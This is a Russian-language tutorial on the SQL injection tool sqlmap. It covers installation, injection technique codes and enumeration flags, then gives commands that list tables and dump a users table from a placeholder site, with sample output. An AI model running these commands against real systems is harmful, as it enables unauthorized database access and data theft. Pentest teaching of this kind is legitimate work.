Sqlmap

Sqlmap

Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint

Sqlmap — это бесплатный инструмент на Python, для автоматизации поиска, эксплуатации и тестирования уязвимостей SQL.

Возможности SQLMap:

  • Автоматическое обнаружение SQL инъекций, в том числе слепых инъекций.
  • Внедрение в веб-приложение для выполнения произвольных SQL запросов и получения несанкционированного доступа к БД.
  • Извлечение данных из БД.
  • Возможность работы через прокси и техники для обхода WAF.
  • Поддержка широкого списка СУБД, включая MySQL, Oracle, PostgreSQL и др.

Для установки SQLMap на Kali Linux или другие дистрибутивы на базе Debian, выполните команду:

sudo apt-get install sqlmap

Если вы хотите установить инструмент вручную, можно использовать следующую команду:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

После этого SQLMap можно запустить с помощью:

python sqlmap.py

SQLMap является единственным инструментом тестирования на проникновение, который может правильно обнаруживать и эксплуатировать все известные типы SQLi. Вот список поддерживаемых техник SQLi (указывается в параметре --technique=, при использовании интсрумента):

   B: Boolean-based blind

   E: Error-based

   U: Union query-based

   S: Stacked queries

   T: Time-based blind

   Q: Inline queries

Ниже представлен список аргументов, которые могут быть использованы для перечисления информации о СУБД, структуре и данных в таблицах:

-a, --all — получить все

-b, --banner — получить баннер СУБД

--current-user — получить текущего пользователя СУБД

--current-db — получить текущую базу данных СУБД

--passwords — перечислить хеши паролей пользователей СУБД

--tables — перечислить таблицы базы данных СУБД

--columns — перечислить столбцы таблиц базы данных СУБД

--schema — перечислить схему СУБД

--dump — получить записи таблицы базы данных СУБД

--dump-all — получить все записи таблиц всех баз данных СУБД

-D DB — база данных СУБД для перечисления

-T TBL — таблица(ы) базы данных СУБД для перечисления

-C COL — столбец(ы) таблицы базы данных СУБД для перечисления

По умолчанию SQLMap проверяет предопределенный набор наиболее распространенных уязвимостей. Тем не менее, у пользователей есть возможность использовать большие наборы границ и векторов, уже включенные в SQLMap. Для этого следует использовать опции --level и --risk:

  • Опция --level (1-5, по умолчанию 1) расширяет как используемые векторы, так и границы, основываясь на ожидании их успеха (т.е. чем ниже шанс успеха, тем выше уровень).
  • Опция --risk (1-3, по умолчанию 1) расширяет используемый набор векторов в зависимости от риска возникновения проблем на целевой стороне (т.е. риска потери записи в базе данных или отказа в обслуживании).

Лучший способ проверить различия между используемыми границами и полезными данными для разных значений --level и --risk — использовать параметр -v для установки уровня детализации.

Обычно, после успешного обнаружения уязвимости SQLi, мы можем начать перечисление основных деталей из базы данных, таких как имя хоста уязвимой цели (--hostname), имя текущего пользователя (--current-user), имя текущей базы данных (--current-db) или хеши паролей (--passwords). SQLMap пропустит обнаружение SQLi, если он был идентифицирован ранее, и сразу запустит процесс перечисления СУБД. Следующая команда SQLMap выполняет все перечисленные выше действия:

sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

В наиболее распространенных сценариях, после нахождения текущего имени базы данных, получение имен таблиц будет осуществляться с помощью опции --tables и указанием имени БД с помощью -D, следующим образом:

sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member        |
| data          |
| international |
| users         |
+---------------+

После обнаружения интересующего имени таблицы, извлечение ее содержимого может быть выполнено с помощью параметра --dump и указания имени таблицы с помощью -T users, следующим образом:

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

...SNIP...
Database: testdb

Table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'

При работе с большими таблицами, с большим количеством столбцов или строк, мы можем указать столбцы (например, только столбцы имени и фамилии) с помощью опции -C, следующим образом:

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname

...SNIP...
Database: testdb

Table: users
[4 entries]
+--------+------------+
| name   | surname    |
+--------+------------+
| luther | blisset    |
| fluffy | bunny      |
| wu     | ming       |
| NULL   | nameisnull |
+--------+------------+

Чтобы получить строки на основе их порядковых номеров внутри таблицы, мы можем указать строки с опциями --start и --stop (например, начинать со 2-й по 3-ю запись) следующим образом:

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3

...SNIP...
Database: testdb

Table: users
[2 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 2  | fluffy | bunny   |
| 3  | wu     | ming    |
+----+--------+---------+

Вместо того, чтобы извлекать содержимое по одной таблице, мы можем получить все таблицы внутри интересующей нас базы данных, полностью пропустив использование опции -T (например, --dump -D testdb). При простом использовании ключа --dump без указания таблицы с -T будет извлечено все текущее содержимое базы данных. Что касается ключа --dump-all, то будет извлечено все содержимое из всех баз данных. В таких случаях пользователю также рекомендуется включить ключ --exclude-sysdbs (например, --dump-all --exclude-sysdbs), который укажет SQLMap пропустить извлечение содержимого из системных баз данных, так как он обычно не представляет особого интереса для пентестеров.

Report Page